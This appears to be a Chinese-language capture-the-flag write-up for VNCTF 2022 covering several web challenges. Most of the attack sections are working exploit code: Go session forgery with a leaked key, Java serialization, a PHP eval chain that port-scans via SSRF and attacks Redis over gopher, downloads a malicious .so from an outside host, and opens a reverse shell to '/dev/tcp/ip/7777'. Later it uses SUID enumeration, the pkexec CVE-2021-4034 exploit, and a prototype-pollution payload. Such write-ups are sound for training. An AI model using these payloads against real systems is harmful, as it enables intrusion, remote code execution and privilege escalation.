js/data.js下有段FLAG的base64加密
Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA==
解码就行
VNCTF{Welcome_to_VNCTF2022}
非预期
xss,没有过滤,前几次一直不行,session解密木得flag,不知道最后怎么又可以了,www
然后把session解密
package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
//go:embed template/index.html
var tpl string
//go:embed main.go
var source string
type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "
"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}
exp
package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}
读文件
http://1.13.163.248:8083/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/
条件竞争
rEvqw4E6qhbcY9PLO8XFGb401nr8MJbI
那道key后,满足this.user.equals(u)
就可以拿到flag了
User类重写了readObject,所有我们要重写writeObject
import entity.User;
import util.SerAndDe;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Test3 {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666", "666", "180");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
byte[] bytes=SerAndDe.serialize(user);
String en = Base64.getEncoder().encodeToString(bytes);
System.out.println(en);
System.out.print((User)SerAndDe.deserialize(Base64.getDecoder().decode(en)));
}
}
过滤了phpinfo;
看下本地
http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=print_r(scandir(%27.%27));
然后访问secret.rdb得到 redis 密码 ye_w4nt_a_gir1fri3nd
然后搞个ssrf,打redis,但是端口不是6379,也没其他提示,然后就扫嘛
import requests
from urllib import parse
url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
echo $result.$url;
}
}
for($i=0;$i<9999;$i++){
Curl("dict://127.0.0.1:$i/info");
}
'''
data = {
0:payload
}
r = requests.post(url,data=data,headers=headers).text
print(r)
扫到8888端口
然后用gopher,ping了一下,可以用gopher,然后也可以写木马,没啥用,然后想的主从复制,然后试了好几次也没用,最后想到用file_put_contents写so文件
import requests
url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://ip/exp.so"
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
file_put_contents("exp.so",$result);
}
Curl("''' + pay + '''");
'''.strip()
data = {
0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)
然后加载so文件,到达命令执行的目的,但是读不了/flag
然后反弹shell
import requests
from urllib import parse
url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}
pay="""auth ye_w4nt_a_gir1fri3nd
module load ./ex.so
system.exec 'bash -c "bash -i >& /dev/tcp/ip/7777 0>&1"'
quit
""".replace('\n','\r\n')
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
echo $result;
}
}
Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");
'''
data = {
0:payload
}
r = requests.post(url,data=data,headers=headers).text
print(r)
看了/flag权限不够,执行find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
然后搜了下pkexec,确实有这个提权 https://github.com/arthepsy/CVE-2021-4034
然后把c文件下载下了,
开始一直没头绪,然后赛后搜到这个文章里的vm-calc,好像是从这个题改编的,直接打
https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/
然后console.table([{x:1}], ["__proto__"]);
放到计算器算一下
然后访问/flag就可以了,更具体也可以看下上面那个文章